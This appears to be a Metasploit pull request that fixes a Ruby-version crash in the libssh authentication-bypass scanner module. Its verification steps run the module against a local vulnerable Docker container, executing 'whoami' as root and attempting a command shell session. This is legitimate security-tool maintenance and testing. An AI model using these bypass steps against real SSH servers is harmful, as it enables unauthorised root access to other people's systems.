Fix libssh_auth_bypass crash on newer versions of Ruby

[adfoster-r7]

Closes #18167

Verification

Run the vulnerable ssh target:

docker run -it -p 3333:22 vulhub/libssh:0.8.1

Verify Execute action with a cmd module works:

msf6 auxiliary(scanner/ssh/libssh_auth_bypass) > rerun rhost=127.0.0.1 rport=3333 action=Execute CMD=whoami
[*] Reloading module...

[*] 127.0.0.1:3333 - Attempting authentication bypass
[+] 127.0.0.1:3333 - SSH-2.0-libssh_0.8.1 appears to be unpatched
[*] 127.0.0.1:3333 - Executed: whoami
root
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Verify a new session is created; Note that shell verification/interaction fails for me - but looks like an existing problem from when the functionality was first merged in?

msf6 auxiliary(scanner/ssh/libssh_auth_bypass) > rerun rhost=127.0.0.1 rport=3333 action=Shell
[*] Reloading module...

[*] 127.0.0.1:3333 - Attempting authentication bypass
[+] 127.0.0.1:3333 - SSH-2.0-libssh_0.8.1 appears to be unpatched
[-] Command shell session 3 is not valid and will be closed
[*] 127.0.0.1 - Command shell session 3 closed.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

[cgranleese-r7]

Release Notes

Fixes a crash when running the scanner/ssh/libssh_auth_bypass module on newer versions of Ruby